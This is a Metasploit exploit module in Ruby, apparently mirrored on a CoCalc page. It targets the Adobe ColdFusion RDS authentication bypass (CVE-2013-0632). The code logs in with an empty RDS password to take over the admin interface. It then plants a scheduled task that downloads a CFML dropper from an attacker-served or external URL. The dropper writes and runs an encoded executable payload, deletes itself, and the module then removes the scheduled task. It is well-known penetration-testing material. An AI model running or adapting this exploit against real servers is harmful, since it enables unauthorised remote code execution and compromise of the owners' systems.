CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/coldfusion_rds_auth_bypass.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Exploit::Remote::HttpServer::HTML
10
include Msf::Exploit::EXE
11
include Msf::Module::Deprecated
12
13
moved_from 'exploit/multi/http/coldfusion_rds'
14
15
Rank = GreatRanking
16
17
def initialize(info = {})
18
super(update_info(info,
19
'Name' => 'Adobe ColdFusion RDS Authentication Bypass',
20
'Description' => %q{
21
Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote
22
attackers to bypass authentication using the RDS component. Due to
23
default settings or misconfiguration, its password can be set to an
24
empty value. This allows an attacker to create a session via the RDS
25
login that can be carried over to the admin web interface even though
26
the passwords might be different, and therefore bypassing authentication
27
on the admin web interface leading to arbitrary code execution. Tested
28
on Windows and Linux with ColdFusion 9.
29
},
30
'Author' =>
31
[
32
'Scott Buckel', # Vulnerability discovery
33
'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module
34
],
35
'License' => MSF_LICENSE,
36
'References' =>
37
[
38
[ "CVE", "2013-0632" ],
39
[ "EDB", "27755" ],
40
[ "URL", "http://www.adobe.com/support/security/bulletins/apsb13-03.html" ]
41
],
42
'Privileged' => false,
43
'Stance' => Msf::Exploit::Stance::Aggressive, #thanks juan!
44
'Platform' => ['win', 'linux'],
45
'Targets' =>
46
[
47
[ 'Windows',
48
{
49
'Arch' => ARCH_X86,
50
'Platform' => 'win'
51
}
52
],
53
[ 'Linux',
54
{
55
'Arch' => ARCH_X86,
56
'Platform' => 'linux'
57
}
58
],
59
],
60
'DefaultTarget' => 0,
61
'DisclosureDate' => '2013-08-08'
62
))
63
64
register_options(
65
[
66
OptString.new('EXTURL', [ false, 'An alternative host to request the CFML payload from', "" ]),
67
OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),
68
])
69
70
register_advanced_options(
71
[
72
OptString.new('CFIDDIR', [ true, 'Alternative CFIDE directory', 'CFIDE'])
73
])
74
end
75
76
def check
77
uri = target_uri.path
78
79
#can we access the admin interface?
80
res = send_request_cgi({
81
'method' => 'GET',
82
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),
83
})
84
85
if res && res.code == 200 && res.body.include?('ColdFusion Administrator Login')
86
vprint_good "Administrator access available"
87
else
88
return Exploit::CheckCode::Safe
89
end
90
91
#is it cf9?
92
res = send_request_cgi({
93
'method' => 'GET',
94
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'images', 'loginbackground.jpg')
95
})
96
97
img = Rex::Text.md5(res.body.to_s)
98
imghash = "596b3fc4f1a0b818979db1cf94a82220"
99
100
if img == imghash
101
vprint_good "ColdFusion 9 Detected"
102
else
103
return Exploit::CheckCode::Safe
104
end
105
106
#can we access the RDS component?
107
res = send_request_cgi({
108
'method' => 'POST',
109
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),
110
'vars_post' => {
111
'method' => "login",
112
'adminpassword' => "",
113
'rdsPasswordAllowed' => "1"
114
}
115
})
116
117
if res && res.code == 200 && res.body.include?('true')
118
return Exploit::CheckCode::Appears
119
else
120
return Exploit::CheckCode::Safe
121
end
122
end
123
124
def exploit
125
@pl = gen_file_dropper
126
@payload_url = ""
127
128
if datastore['EXTURL'].blank?
129
begin
130
Timeout.timeout(datastore['HTTPDELAY']) {super}
131
rescue Timeout::Error
132
end
133
exec_payload
134
else
135
@payload_url = datastore['EXTURL']
136
upload_payload
137
exec_payload
138
end
139
end
140
141
def primer
142
@payload_url = get_uri
143
upload_payload
144
end
145
146
def on_request_uri(cli, request)
147
if request.uri =~ /#{get_resource}/
148
send_response(cli, @pl)
149
end
150
end
151
152
def autofilter
153
true
154
end
155
156
#task scheduler is pretty bad at handling binary files and likes to mess up our meterpreter :-(
157
#instead we use a CFML filedropper to embed our payload and execute it.
158
#this also removes the dependancy of using the probe.cfm to execute the file.
159
160
def gen_file_dropper
161
rand_var = rand_text_alpha(8+rand(8))
162
rand_file = rand_text_alpha(8+rand(8))
163
164
if datastore['TARGET'] == 0
165
rand_file += ".exe"
166
end
167
168
encoded_pl = Rex::Text.encode_base64(generate_payload_exe)
169
170
print_status "Building CFML shell..."
171
#embed payload
172
shell = ""
173
shell += " <cfset #{rand_var} = ToBinary( \"#{encoded_pl}\" ) />"
174
shell += " <cffile action=\"write\" output=\"##{rand_var}#\""
175
shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""
176
#if linux set correct permissions
177
if datastore['TARGET'] == 1
178
shell += " mode = \"700\""
179
end
180
shell += "/>"
181
#clean up our evil .cfm
182
shell += " <cffile action=\"delete\""
183
shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##listlast(cgi.script_name,\"/\")#\"/>"
184
#execute our payload!
185
shell += " <cfexecute"
186
shell += " name = \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""
187
shell += " arguments = \"\""
188
shell += " timeout = \"60\"/>"
189
190
return shell
191
end
192
193
def exec_payload
194
uri = target_uri.path
195
196
print_status("Our payload is at: #{peer}\\#{datastore['CFIDDIR']}\\#{@filename}")
197
print_status("Executing payload...")
198
199
res = send_request_cgi({
200
'method' => 'GET',
201
'uri' => normalize_uri(uri, datastore['CFIDDIR'], @filename)
202
})
203
end
204
205
def upload_payload
206
uri = target_uri.path
207
208
@filename = rand_text_alpha(8+rand(8)) + ".cfm" #numbers is a bad idea
209
taskname = rand_text_alpha(8+rand(8)) #numbers is a bad idea
210
211
print_status "Trying to upload payload via scheduled task..."
212
res = send_request_cgi({
213
'method' => 'POST',
214
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),
215
'vars_post' => {
216
'method' => "login",
217
'adminpassword' => "",
218
'rdsPasswordAllowed' => "1"
219
}
220
})
221
222
unless res && res.code == 200
223
fail_with(Failure::Unknown, "#{peer} - RDS component was unreachable")
224
end
225
226
#deal with annoying cookie data prepending (sunglasses)
227
cookie = res.get_cookies
228
229
if res && res.code == 200 && cookie =~ /CFAUTHORIZATION_cfadmin=;(.*)/
230
cookie = $1
231
else
232
fail_with(Failure::Unknown, "#{peer} - Unable to get auth cookie")
233
end
234
235
res = send_request_cgi({
236
'method' => 'GET',
237
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),
238
'cookie' => cookie
239
})
240
241
if res && res.code == 200 && res.body.include?('ColdFusion Administrator')
242
print_good("Logged in as Administrator!")
243
else
244
fail_with(Failure::Unknown, "#{peer} - Login Failed")
245
end
246
247
#get file path gogo
248
res = send_request_cgi({
249
'method' => 'GET',
250
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'settings', 'mappings.cfm'),
251
'vars_get' => {
252
'name' => "/CFIDE"
253
},
254
'cookie' => cookie
255
})
256
257
unless res && res.code == 200
258
fail_with(Failure::Unknown, "#{peer} - Mappings URL was unreachable")
259
end
260
261
if res.body =~ /<input type="text" maxlength="550" name="directoryPath" value="(.*)" size="40" id="dirpath">/
262
file_path = $1
263
print_good("File path disclosed! #{file_path}")
264
else
265
fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
266
end
267
268
print_status("Adding scheduled task")
269
res = send_request_cgi({
270
'method' => 'POST',
271
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduleedit.cfm'),
272
'vars_post' => {
273
'TaskName' => taskname,
274
'Start_Date' => "Nov 1, 2420",
275
'End_Date' => "",
276
'Interval' => "",
277
'ScheduleType' => "Once",
278
'Operation' => "HTTPRequest",
279
'ScheduledURL' => @payload_url,
280
'publish' => "1",
281
'publish_file' => "#{file_path}\\#{@filename}",
282
'adminsubmit' => "Submit"
283
},
284
'cookie' => cookie
285
})
286
287
unless res && res.code == 200 || res.code == 302 #302s can happen but it still works, http black magic!
288
fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")
289
end
290
291
print_status("Running scheduled task")
292
res = send_request_cgi({
293
'method' => 'GET',
294
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),
295
'vars_get' => {
296
'runtask' => taskname,
297
'timeout' => "0"
298
},
299
'cookie' => cookie
300
})
301
302
if res && res.code == 200 && res.body.include?('This scheduled task was completed successfully')
303
print_good("Scheduled task completed successfully")
304
else
305
fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")
306
end
307
308
print_status("Deleting scheduled task")
309
res = send_request_cgi({
310
'method' => 'GET',
311
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),
312
'vars_get' => {
313
'action' => "delete",
314
'task' => taskname
315
},
316
'cookie' => cookie
317
})
318
319
unless res && res.code == 200
320
print_error("Scheduled task deletion failed, cleanup might be needed!")
321
end
322
end
323
end
324
325